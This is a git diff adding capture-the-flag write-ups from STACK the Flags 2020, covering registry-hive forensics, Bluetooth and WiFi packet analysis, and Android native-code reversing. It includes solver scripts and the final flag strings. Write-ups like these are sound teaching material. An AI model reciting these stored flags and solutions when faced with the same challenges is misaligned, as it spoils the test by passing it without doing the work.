b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/bar.png new file mode 100644 index 0000000..59e2b1b Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/bar.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/forenwav.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/forenwav.png new file mode 100644 index 0000000..fdd2fb2 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/forenwav.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/miscwav.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/miscwav.png new file mode 100644 index 0000000..f3dca6d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/miscwav.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/osintl.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/osintl.png new file mode 100644 index 0000000..c308865 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/osintl.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/stackoverflow page.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/stackoverflow page.png new file mode 100644 index 0000000..ffccbbf Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/stackoverflow page.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/tp.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/tp.png new file mode 100644 index 0000000..7dc41f0 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/tp.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/xiao1.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/xiao1.png new file mode 100644 index 0000000..13ba4b6 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/xiao1.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/zip.png b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/zip.png new file mode 100644 index 0000000..b1e6bcb Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/2. Voices in the head/zip.png differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/3. Corrupted Hive/1.jpg b/STACK the Flags 2020/Mitsuha/Forensics/3. Corrupted Hive/1.jpg new file mode 100644 index 0000000..4c028b4 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Forensics/3. Corrupted Hive/1.jpg differ diff --git a/STACK the Flags 2020/Mitsuha/Forensics/3. Corrupted Hive/README.md b/STACK the Flags 2020/Mitsuha/Forensics/3. Corrupted Hive/README.md new file mode 100644 index 0000000..3181726 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Forensics/3. Corrupted Hive/README.md @@ -0,0 +1,166 @@ +# Corrupted Hive [3000 Points] - 0 Solves (Cat 3) + +### *This challenge was not solved during the competition* + +``` +From intel sources, we discovered that the attacker likes to use registry to create persistency. From Forensic-challenge-2, we noted that the registry patch contains a specific key word. Search the registry hive and find the flag. +``` + +We are given a registry hive which was supposedly 'corrupt'. +We first tried to use regripper to open the registry hive, but we got "Select Not Found" for every plugin in regripper. (Indeed it is corrupt, sad.) + +Afterwards, we tried to repair the registry hive by fixing all the `hbin` headers as we noticed they were largely missing. But after hours of work, no luck, and the CTF ended :sweat:. + +## So how do you solve this? + +Apparently, the goal was **not to fix the corrupted hive** (since it is probably corrupted beyond imagination - *that English dictionary, gosh*), but rather **scrap the various data fragments out of the hive by understanding the file structure** + +## Let's Dive in! + +After solving forensics-challege-2 (`Voices in the head`), we are given a hint that the registry patch we are looking for contains the word `covid` in it. + +A quick search in HxD revealed a word `covid` and some words such as "Govtech" around it. But what in the world is this and where is the flag!? + +![1.jpg](1.jpg) + +And here's where we have to dive into the [registry file format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md#key-node) in order to understand what is going on. + +**Note:** All values stored in the registry are in **little-endian!** + +- A registry is made out of **5 subtrees**, which are: + - HKEY_CLASSES_ROOT + - HKEY_CURRENT_USER + - HKEY_LOCAL_MACHINE + - HKEY_USERS + - HKEY_CURRENT_CONFIG +- In **each subtree** we have **keys,subkeys** and **entities** +- **Keys** store **at least 1 subkey** (*1 level down from a subtree*) +- **Subkeys** store **entries** and **other subkeys** (*1 level down from keys*) +- **Entries** store that **juicy data** (*1 level down from subkeys*) + +*Wait wait, so uhm, how exactly does this look like!?* + +![Primary file layout](https://raw.githubusercontent.com/msuhanov/regf/master/images/primary.png) + +The **base block** is basically like a **header for the registry**, but we are not focused on that today. + +Next up is the **Hive Bins**, which **contains cells** (*with no gaps between them*) + +Each **cell** has a format of: + +| Offset | Length | Field | Description | +| ------ | ------ | --------- | ------------------------------------------------------------ | +| 0 | 4 | Size | Size of a current cell in bytes, including this field (aligned to 8 bytes): the size is positive if a cell is unallocated or negative if a cell is allocated (use absolute values for calculations) | +| 4 | ... | Cell data | | + +and in **Each "Cell Data"** contains **a** **record** (also known as your **keys, subkeys and entries**) + +| Record | Description | +| ----------------- | ------------------------------------------------------- | +| Index leaf (li) | Subkeys list | +| Fast leaf (lf) | Subkeys list with name hints | +| Hash leaf (lh) | Subkeys list with name hashes | +| Index root (ri) | List of subkeys lists (used to subdivide subkeys lists) | +| Key node (nk) | Registry key node | +| Key value (vk) | Registry key value | +| Key security (sk) | Security descriptor | +| Big data (db) | List of data segments | + +After staring at it, we will know that the `nk` signature stands for a **Key Cell Table** or **Key Node** inside a cell + +Let's take a look at the breakdown of the `nk key` based of [this format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md#key-node). + +``` +A8 FF FF FF --> Size +6E 6B --> nk header +20 00 --> bit Mask (Flags) +FB 28 7F 5E F2 97 D6 01 --> Timestamp +02 00 00 00 --> Access Bits +80 93 C0 00 --> Parent Key Node offset relative to the start of hbin data [!!!] +00 00 00 00 --> No. of subkeys +00 00 00 00 --> No. of volatile subkeys +FF FF FF FF --> Subkeys list offset (Note: FF FF FF FF means nowhere, so this does not exist) +FF FF FF FF --> Subkeys list offset +01 00 00 00 --> No. of Key Values +B0 91 C0 00 --> Key values list offset [!!!] +20 80 02 00 --> Key Security Offset +FF FF FF FF --> Class Name Offset +00 00 00 00 --> Largest subkey name length +00 00 00 00 --> Largest subkey class name length +18 00 00 00 --> Largest value name length +1C 00 00 00 --> Largest value data size +00 00 00 00 --> WorkVar +05 00 --> Key name Length <<< +00 00 --> Class Name Length +63 6F 76 69 64 --> Key Name String (aka "covid") <<< +``` + +As we can see from here, it is probably a **subkey** since it has a **parent key node** and it **points to other subkeys**, let's follow them! + +Since we have a hex offset of `B091C0` in little-endian, converted to big-endian it is `C091B0`. We then have to + `1000` (in hex) since the Hive Bin has an offset of 1000 to the start of the file. We then end up with this: + +*Wait!? Where is the signature? What is this?* + +As stated in the docs, a cell data can contain `Raw Value Data` (*aka no signature*) **and** any **other record**, but it still follows the **cell format!** + +``` +F0 FF FF FF --> Size of cell +60 93 C0 00 --> Cell data (aka offset to another cell) +``` + +*Now you might ask, what about the rest of the data? Well tbh I am not sure... but let's just take it that these first 4 bytes gives us an offset* + + + +Calculating the offset in big-endian, we have: C09360 + 1000 = **C0A360**, and we end up at a **Key-Value** (*we are close to the data*)! Let's analyse the Key-Value (`vk`) with [this format](https://github.com/msuhanov/regf/blob/master/Windows%20registry%20file%20format%20specification.md#key-value): + +``` +E0 FF FF FF --> Size +76 6B --> Signature +03 00 --> Name Length +1A 00 00 00--> Data size +F0 F1 C1 00--> Data offset (relative from start of hbin data again) +01 00 00 00--> Data type (REG_SZ) +01 00 --> Flags +C0 00 --> Spare +4B 65 79 --> Value name string (length 3: "Key") +``` + +Let's jump to the data at `C201F0` (`C1F1F0+1000`) (big-endian address), we find another `Raw Value Data` cell, + +``` +E0 FF FF FF --> Size +69 00 6D 00 70 00 6F 00 72 00 74 00 61 00 6E 00 74 00 6B 00 65 00 79 --> "importantkey" (cleaned up) +``` + +hmmm.... no idea what this is... but hey, the raw value data cell below looks seriously interesting! It looks **oddly like base64**! + +``` +B0 FF FF FF --> Size +5A 00 33 00 5A 00 75 00 62 00 48 00 46 00 76 00 63 00 43 00 31 00 7A 00 62 00 33 00 52 00 37 00 56 00 7A 00 4E 00 75 00 4D 00 54 00 55 00 33 00 64 00 58 00 56 00 66 00 56 00 54 00 46 00 68 00 4D 00 33 00 30 00 3D +>>> in ASCII (cleaned up) +Z3ZubHFvcC1zb3R7VzNuMTU3dXVfVTFhM30= +>>> Decoded +gvnlqop-sot{W3n157uu_U1a3} +``` + +Now... that looks really really like the flag! But how do you decode it? After trying several different ciphers, we finally realised there was some white text in the docx from the previous challenge. + +It read `The attacker like to use Bifid Cipher`, but..... after bruteforcing for a while, we still couldn't get the flag. + +Chotto Matte... `importantkey` is the keyword for the Bifid Cipher, could it be? + +``` +govtech-csg{R3g157ry_H1v3} +``` + +Indeed. + + + +## Addendum + +Now you might be wondering, what about the `Parent Key Node offset` in the `covid` Key-Node? + +- Well I followed it and it seemed to lead to junk after 1 key node + diff --git a/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/IDA.png b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/IDA.png new file mode 100644 index 0000000..1411e6d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/IDA.png differ diff --git a/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/README.md b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/README.md new file mode 100644 index 0000000..202bd8b --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/README.md @@ -0,0 +1,139 @@ +# I smell updates! +*Agent 47, we were able to retrieve the enemy's security log from our QA technician's file! It has come to our attention that the technology used is a 2.4 GHz wireless transmission protocol. We need your expertise to analyse the traffic and identify the communication between them and uncover some secrets! The fate of the world is on you agent, good luck.* + +### Wireshark to the rescue +- In this challenge, we are given a .pcap file for us to analyse. Upon opening the file with Wireshark, we see that there is a bunch of bluetooth packets (bluetooth is 2.4GHz). +- As we are only interested in what is being sent out by the device, we filter the source address to localhost using the following filter: `bthci_acl.src.bd_addr == 00:00:00:00:00:00` +- We apply our intuitive concept of sorting by packet length, and we view the packets from the largest first. +![](image0.png) + +### Secret communications +- We do see some kind of a chat conversation going on with some messages, especially that one where it originated from the technician's boss! +- Looking further down the packets, we notice an interesting packet that contained the letters "ELF" (packet #129). +![](image1.png) +- For those not well-versed with file signatures, ELF represents an executable file for linux systems. +- With some clues to know what files to find, we now proceed to extract the file. + +### Very secret file +- Another interesting thing is to note the size of the packet with the ELF is only 28 bytes, and only 19 bytes are part of the file. This meant that there are many of such packets and extracting them by hand would be rather impossible. +- To facilitate the process of getting the packets, we first export the packet dissections to a JSON file. Then, we write a simple script to filter the packets to obtain packets that are `Sent Write Request` and with a packet length of 28. +![](image2.png) +```js +const fs = require('fs'); +const capture = fs.readFileSync('./iot-chall3.json'); +const packets = JSON.parse(capture); + +let payload = ''; + +packets.forEach(packet => { + const layers = packet._source.layers; + const frame = layers.frame; + const btatt = layers.btatt; + + if (frame['frame.len'] != 28) return; + const raw = btatt['btatt.value']; + const hexdata = raw.replace(/:/g, ''); + payload += hexdata; +}); + +console.log('Done!'); +const binary = Buffer.from(payload, 'hex'); +fs.writeFileSync('file.out', binary); +``` + +- We copy the binary output of the file to a file named `file.out`, and look at the file contents using the `file` command. +``` +$ file file.out +file.out: ERROR: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=d73f4011dd87812b66a3128e7f0cd1dcd813f543 error reading (Inappropriate file type or format) +``` +- Uh oh, seems like the file we have obtained is incomplete, which means that we could have missed out the last packet which might not have a length of 28 bytes. + +### Reconstruction of file +- Going back to the packet capture, we sort the packets by the packet length and apply these filters to find all the `Send Write Request` packets: `bthci_acl.src.bd_addr == 00:00:00:00:00:00 && btatt.opcode == 0x12` +- We note that there are 5 packets smaller than length 28, and which 2 of these are very small chunks of data and is unlikely to be part of our file (size 14) +- The other 2 packets are part of the communication with the boss, so we can safely ignore those too. +- The remaining packet is the one with 24 bytes and seem to come after the transmission of the file (as noted by the file packet numbers) +- Hence, we simply need to extract that and append it to our file. + +```js +const fs = require('fs'); +const capture = fs.readFileSync('./iot-chall3.json'); +const packets = JSON.parse(capture); + +let payload = ''; +let last_seg = ''; + +packets.forEach(packet => { + const layers = packet._source.layers; + const frame = layers.frame; + const btatt = layers.btatt; + + if (frame['frame.len'] == 24 && btatt.hasOwnProperty('btatt.value')) { + last_seg = btatt['btatt.value'].replace(/:/g, ''); + } + + if (frame['frame.len'] != 28) return; + const raw = btatt['btatt.value']; + const hexdata = raw.replace(/:/g, ''); + payload += hexdata; +}); + +console.log('Done!'); +const binary = Buffer.from(payload + last_seg, 'hex'); +fs.writeFileSync('file.out', binary); +``` + +- Running `file` command again, we see that it is a valid file now: +``` +$ file file.out +file.out: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.32, BuildID[sha1]=d73f4011dd87812b66a3128e7f0cd1dcd813f543, not stripped +``` + +## Reverse Engineering +![](IDA.png) + +The binary is a simple reverse engineering challenge, with each character of the (inner contents of) the flag as a symbolic constant. Every `if()` statement here has to be true for the 7-byte-plus-newline input flag to pass. + +I reversed `magic()` as so: +```python +def magic4(v): return v-3 +def magic3(v): return magic4(v)+1 +def magic2(v): + val = magic3(v) + return val+(66 if val==0 else 1) # == is needed for a Z3 BitVec +def min(v1,v2): + if v1 <= v2: return v2%2 +1 + return v1-v2 +def magic(v): return 1+magic2(v) # min(3,2) == 1 +``` +And I solved for the flag itself with Z3: +```python +from z3 import * +s = [BitVec('char'+str(i), 8) for i in range(7)] +S = Solver() +S.add(s[0] == magic(ord('i')-8)) # strlen() == 8. +S.add(s[1] == magic(ord('i')^0x27)) +S.add(s[2] == magic(ord('i')+11)) +S.add(s[3] == magic(2*s[1]-51)) +S.add(s[4] == magic(0x42)) +S.add(s[5] == magic(8*(5-1)|1)) +S.add(s[6] == magic(((s[4]+s[5]+s[3])^(s[3]+s[5]+66))+101)) +S.check() +M = S.model() +for i in range(7): s[i] = M.evaluate(s[i]).as_long() +print(''.join(map(chr,s))) +``` +A few things to note here: +* Each character of the flag is represented as an 8-bit vector (`BitVec('', 8)`) in `s[]`. +* A `Solver()` is used to keep a list of mathematical _constraints_ -- each of which are added with `S.add()` -- from which the flag can be derived. +* After adding all constraints, the value of each character is obtained from a _`model()`_ of the constraints. + +This Z3 script provides the string `aNtiB!e`. + +## Flag +`govtech-csg{aNtiB!e}` + +### Learning Outcomes +1. Follow the hints and description given in the challenge description closely, they will be helpful to identify what the challenge is looking for and know what to do (in this case we need to intercept a file) +2. Teamwork is important when doing a CTF challenge, so that we can delegate certain tasks or challenges that are not within our abilities to those that are more suited for the task (such as the reverse engineering part) +3. Be meticulous for these kind of forensic-ish challenges, note small details and they will help you to solve the challenge (in this case the last missing smaller packet to complete the file) \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image0.png b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image0.png new file mode 100644 index 0000000..0baf8c2 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image0.png differ diff --git a/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image1.png b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image1.png new file mode 100644 index 0000000..6a0b0bd Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image1.png differ diff --git a/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image2.png b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image2.png new file mode 100644 index 0000000..41a49cb Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/I Smell Updates/image2.png differ diff --git a/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/README.md b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/README.md new file mode 100644 index 0000000..9854280 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/README.md @@ -0,0 +1,44 @@ +# The suspicious frequency monitoring alert! +*We received an alert from our smart city’s frequency monitoring and noticed some anomalies. Figure out what is happening!* + +### Challenge observation +- We are given a .pcap file as part of the challenge, and opening the challenge we see that there are a bunch of WiFi packets inside. +- This likely means that we need to find some hidden transmission through WiFi within all these packets. +- Transmission will likely refer to the Beacon Frames sent by routers and Access Points (APs), so we filter the packets by the packet type (Beacon Frames) +- Scrolling to a random beacon frame packet, we find out that the type of packet is 8. +- Hence, Filter Command: `wlan.fc.subtype == 8` +![](image0.png) + +### Large? No its too big +- Going by instinct, we roughly know that hidden information are usually inside either the largest or the smallest packets. +- After opening the capture in Wireshark, we sort the packets by the packet length with the largest first. +- Looking at the top few packets did not seem to reveal anything suspicious and seemed like normal broadcast packets. +![](image1.png) + +### Small and suspicious +- So we move on to look at the smaller packets, and we see that the packet do look somewhat "normal" on the outside. +- However, upon taking a closer look, we see that there is some extra data at the end of the packet that does not seem to be visible in other beacon frames (compared to the ones above). +- This data is rather suspicious, so we extract them from the packets. +![](image2.png) + +### Beep-Boop! +- Copying all the extra information from the packets, we end up with something as follow (in hex): +``` +30100000343a 526d6c66535539554958303d +30100000333a 556b46556157394f58316470 +30100000323a 633264375258686d61577830 +30100000313a 5a3239326447566a6143316a +``` +- Looking at the ASCII values of 0x31, 0x32, 0x33, 0x34, 0x3a we see that they are numerals from 1-4 and the character ':' respectively. +- This could represent the order of the transmission! +- We convert the hex values after the initial segment to a large string based off the order of the packets: `5a3239326447566a6143316a633264375258686d61577830556b46556157394f58316470526d6c66535539554958303d` +- Converting this hex string to an ASCII string, we get: `Z292dGVjaC1jc2d7RXhmaWx0UkFUaW9OX1dpRmlfSU9UIX0=` +- Then, converting the base-64 string to ASCII again, we finally obtain the flag. + +### Flag +```govtech-csg{ExfiltRATioN_WiFi_IOT!}``` + +### Learning Outcomes +1. Even though we see sooooooo many packets (8000+), we should not be discouraged and instead look for hints in the challenge. +2. Knowing that the length of a packet will be a great way to find interesting packets for similar challenges like these! +3. Trial and Error is a great tool to help you find your way through this challenge, I went to try multiple different things such as hidden SSID names and weird SSID names but found that they were not the flag. \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image0.png b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image0.png new file mode 100644 index 0000000..b5b293d Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image0.png differ diff --git a/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image1.png b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image1.png new file mode 100644 index 0000000..058de42 Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image1.png differ diff --git a/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image2.png b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image2.png new file mode 100644 index 0000000..0b4ae4a Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/IoT/Suspicious Frequency/image2.png differ diff --git a/STACK the Flags 2020/Mitsuha/Mobile/All Roads Lead to Rome/README.md b/STACK the Flags 2020/Mitsuha/Mobile/All Roads Lead to Rome/README.md new file mode 100644 index 0000000..040ab48 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Mobile/All Roads Lead to Rome/README.md @@ -0,0 +1,214 @@ +# All Roads Lead to Rome! [3000] +2 SOLVES + +Korovax wants everyone to reach this Activity, because Korovax recently read up on Rome and would like to share with everyone else! It's Korovax's application and he can do whatever he wants! Perhaps we can find the secrets of Korovax through Rome? + +## solving +Rome is a bit more convoluted than the other challenges, but it's still essentially a reverse-flag-function challenge. +![](java.png) +`encFlag` is the flag after getting processed by native function `encryptUserInput()`. To solve the challenge, we only need to make a reverse function for `eUI()`; everything else can be ignored. + +```c +__int64 __fastcall Java_sg_gov_tech_ctf_mobile_Rome_encryptUserInput(__int64 a1, __int64 a2, __int64 a3) +{ + unsigned __int64 v3; // rbx + __int64 v4; // rax + unsigned __int64 v5; // rcx + char *v6; // r15 + int v7; // edx + __int64 v8; // rsi + int v9; // edx + int *v10; // rdx + __int128 *v11; // rdx + __int64 v12; // rsi + __int64 v13; // rcx + unsigned __int64 v14; // rcx + char *v15; // rcx + int v16; // esi + int v17; // ecx + void *v18; // rbx + __int128 v20; // [rsp+0h] [rbp-88h] BYREF + __int128 v21; // [rsp+10h] [rbp-78h] + __int128 v22; // [rsp+20h] [rbp-68h] + __int128 v23; // [rsp+30h] [rbp-58h] + __int128 v24; // [rsp+40h] [rbp-48h] + __int128 v25; // [rsp+50h] [rbp-38h] + __int64 v26; // [rsp+60h] [rbp-28h] + unsigned __int64 v27; // [rsp+68h] [rbp-20h] + + v27 = __readfsqword(0x28u); + v3 = 0LL; + v4 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)a1 + 1352LL))(a1, a3, 0LL); + v25 = 0LL; + v24 = 0LL; + v23 = 0LL; + v22 = 0LL; + v21 = 0LL; + v20 = 0LL; + LODWORD(v26) = 0; + v5 = (unsigned __int64)&board; + v6 = board; + do + { + v8 = v6[v3]; + if ( v8 == 32 ) + { + v5 = row[0] != 0; + row[v5] = v3; + } + else + { + if ( !(_BYTE)v8 ) + { + __android_log_print( + 3LL, + "JNI", + "Table too short\n", + v5, + encode, + 3435973837LL, + v20, + v21, + v22, + v23, + v24, + v25, + v26); + exit(1); + } + v9 = 0; + if ( v3 >= 0xA ) + { + v10 = &row[1]; + if ( v3 < 0x14 ) + v10 = row; + v9 = *v10; + } + v7 = 10 * v9; + encode[v8] = v7 + (unsigned int)v3 % 0xA; + v5 = (unsigned __int8)v6[v3]; + decode[v7 + (unsigned int)v3 % 0xA] = v5; + } + ++v3; + } + while ( v3 != 30 ); + v11 = &v20; +LABEL_12: + v12 = v4 + 1; + while ( 1 ) + { + v13 = *(char *)(v12 - 1); + if ( !*(_BYTE *)(v12 - 1) ) + break; + v4 = v12; + if ( (unsigned __int8)(v13 - 48) <= 9u ) + { + v16 = encode[46]; + if ( v16 >= 10 ) + { + *(_BYTE *)v11 = encode[46] / 10 + 48; + v11 = (__int128 *)((char *)v11 + 1); + v16 %= 10; + } + *(_BYTE *)v11 = v16 + 48; + *((_BYTE *)v11 + 1) = v13; + v11 = (__int128 *)((char *)v11 + 2); + goto LABEL_12; + } + v14 = v13 & 0xFFFFFFFFFFFFFFDFLL; + if ( (unsigned int)(v14 - 65) <= 0x19 ) + { + v15 = &encode[v14]; + goto LABEL_22; + } + ++v12; + if ( (_BYTE)v14 ) + { + v15 = &encode[47]; +LABEL_22: + v17 = *v15; + if ( v17 >= 10 ) + { + *(_BYTE *)v11 = v17 / 10 + 48; + v11 = (__int128 *)((char *)v11 + 1); + v17 %= 10; + } + *(_BYTE *)v11 = v17 + 48; + v11 = (__int128 *)((char *)v11 + 1); + goto LABEL_12; + } + } + *(_BYTE *)v11 = 0; + v18 = malloc(0x65uLL); + __strcpy_chk(v18, &v20, 101LL); + return (*(__int64 (__fastcall **)(__int64, void *))(*(_QWORD *)a1 + 1336LL))(a1, v18); +} +``` +The function is pretty big. It's about equivalent to +```c +char *encryptUserInput(char *input){ + setup_encode_decode_tables(); + char output[0x65]; + encrypt_input_to_output(output, input); + return stack_to_malloc(output, 0x65); +} +``` +In python, this function is vaguely given by: +```python +def eUI(input): + encode = {'.': 39,'/': 32,'A': 2,'B': 80,'C': 81,'D': 82,'F': 83,'G': 84,'H': 85,'I': 7,'J': 86,'K': 87,'L': 88,'M': 89,'N': 5,'O': 4,'P': 30,'Q': 31,'R': 6,'S': 9,'T': 1,'U': 33,'V': 34,'W': 35,'X': 36,'Y': 37,'Z': 38, 'E': 0} + decode = {390: '0', 391: '1', 392: '2', 393: '3', 394: '4', 395: '5', 396: '6', 397: '7', 398: '8', 399: '9', 2: 'A', 80: 'B', 81: 'C', 82: 'D', 0: 'E', 83: 'F', 84: 'G', 85: 'H', 7: 'I', 86: 'J', 87: 'K', 88: 'L', 89: 'M', 5: 'N', 4: 'O', 30: 'P', 31: 'Q', 6: 'R', 9: 'S', 1: 'T', 33: 'U', 34: 'V', 35: 'W', 36: 'X', 37: 'Y', 38: 'Z'} + def enc(c): + rtr = '' + if c.isdigit(): + if encode['.'] >= 10: + rtr += chr(encode['.']//10 + ord('0')) + rtr += chr((encode['.']%10)+ord('0')) + c # two chars returned + return rtr + v = ord(c) & 0xdf + if (v-ord('A') < 26): # probably isalpha + encoder = encode[chr(v)] + elif v: + encoder = encode['\\'] + else: return rtr + if encoder >= 10: + rtr += chr(encoder//10+ord('0')) + rtr += chr((encoder%10)+ord('0')) + return rtr + return ''.join(enc(c) for c in input) +``` +To solve this, we just +1. dump out `encode[]` & `decode[]` (this is already completed in the python above) +2. reverse the flag string where possible by reversing `eUI()` +3. guess the correct characters for symbols `(-{}_)` because the encryption process doesn't differentiate these characters. + +In python, the process works like this: +```python +def dUI(s): + orig = '' + i = 0 + while i < len(s): + if s[i] == '3': + if s[i+1] == '9': + orig += decode[int('39'+s[i+2])] + i += 3 + elif s[i+1] == '2': + orig += '-' + i+= 2 + else: + orig += decode[int('3'+s[i+1])] + i += 2 + elif s[i] == '8': + orig += decode[int('8'+s[i+1])] + i += 2 + else: + orig += decode[int(s[i])] + i+=1 + + return orig +print(dUI("8443410818532819843239113959333039368139089308839181213938232000")) +``` +This gives us `GOVTECH-CSG-1T5SUP3RC0MPL1CAT3D-EEE`. The EEE at the back is just padding, and as for the rest of the characters, we'll assume lowercase & replace `-` with `{}` appropriately: +``` +govtech-csg{1T5SUP3RC0MPL1CAT3D} +``` diff --git a/STACK the Flags 2020/Mitsuha/Mobile/All Roads Lead to Rome/java.png b/STACK the Flags 2020/Mitsuha/Mobile/All Roads Lead to Rome/java.png new file mode 100644 index 0000000..5b75c3e Binary files /dev/null and b/STACK the Flags 2020/Mitsuha/Mobile/All Roads Lead to Rome/java.png differ diff --git a/STACK the Flags 2020/Mitsuha/Mobile/AtoZ/README.md b/STACK the Flags 2020/Mitsuha/Mobile/AtoZ/README.md new file mode 100644 index 0000000..fad3a97 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Mobile/AtoZ/README.md @@ -0,0 +1,49 @@ +# A to Z of COViD! [1986] +5 SOLVES + +Over here, members learn all about COViD, and COViD wants to enlighten everyone about the organisation. Go on, read them all! +# Finding flag +In `AtoZCovid.java`: +```java +case 42: + new BottomSheetDialogEdit("Put the flag here").e(getSupportFragmentManager(), "ModalBtmSheetEdit"); + return; +``` +In `BottomSheetDialogEdit.java`, there are these lines: +```java +public native int secretFunction2(String str, int i); +... +int flagStatus = BottomSheetDialogEdit.this.secretFunction2(enteredFlagString, enteredFlagString.length()); +``` +`secretFunction2()` looks like this (prettified): +```c +int secretFunction2(char *a3, int a4) { + __int128 v10[16]; // [rsp+0h] [rbp-138h] BYREF + + if ( a4 <= 0 ) return 1LL; + char *v8 = (char *)malloc(a4); + xmmword_44200 = xmmword_354C0; + xmmword_44210 = xmmword_354D0; + memset(v10, 0, 16*sizeof(__int128)); + aes_key_setup(&xmmword_44200, v10, 256LL); + int v5 = 0; + do { + aes_encrypt(v5 + a3, &v8[v5], v10, 256LL); + v5 += 16; + } while (v5 < a4); + if (!memcmp(v8, &unk_44030, a4)) + return 0; + else + return (unsigned int)(memcmp(v8, &unk_44050, a4) == 0) + 1; +} +``` +This function encrypts the input with an AES key (using ECB) embedded at `xmmword_354(C|D)0`, and compares it with encrypted bytes `unk_44030`. Because AES is symmetrical, a short python script will solve for the encryption here: +```python +from Crypto.Cipher import AES +# dump these values out with IDA-python. +key = (0x869DCFC6C23F21ADC280C2BDA4A337B7C536F9069D5F5C8B6F5D8465D400D12C).to_bytes(256//8,'little') +ciphertext = (0x2ee5ce8273a9addcdb1bee214cce96126a52f04b534f34ecfaba62a6a54e882c).to_bytes(256//8,'big') +cipher = AES.new(key, AES.MODE_ECB) +print(cipher.decrypt(ciphertext)) +``` +Result: `govtech-csg{I_kN0w_Wh4t_t0_d0!!}` \ No newline at end of file diff --git a/STACK the Flags 2020/Mitsuha/Mobile/README.md b/STACK the Flags 2020/Mitsuha/Mobile/README.md new file mode 100644 index 0000000..ded8394 --- /dev/null +++ b/STACK the Flags 2020/Mitsuha/Mobile/README.md @@ -0,0 +1,9 @@ +# Generalised approach +At the start of the CTF, we slapped `mobile-challenge.apk` into jadex for static analysis. Our solution for nearly every challenge boils down to this: + +1. Locate the relevant part of the decompiled Java output that corresponds with the challenge of interest. +2. Analyse it for what needs to be done. Where possible (e.g. `Welcome to Korovax Mobile`), figure out the interactive solution for the challenge from the Java code. The challenges presented two roadblocks to this method: + * Many challenges involved calls to native-lib functions. I used IDA Pro to reverse my way through these. In particular, I analysed the x86_64 version of `libnative-lib.so`, because 64-bit is the easiest for me to work with. + * For one particular challenge, `All about Korovax!`, I was unable to determine the interactive method to solve the challenge. In this case, I solve the challenge by directly obtaining the flag from the program, rather than concentrating on the intended path. + +Some of the beginner challenges were also obtained by just applying `strings/grep`. No write-ups are planned for those challenges. diff --git a/STACK the Flags 2020/Mitsuha/Mobile/Stats/IDA_hell.png b/STACK the Flags 2020/Mitsuha/Mobile/Stats/IDA_hell.png new file mode 100644 index 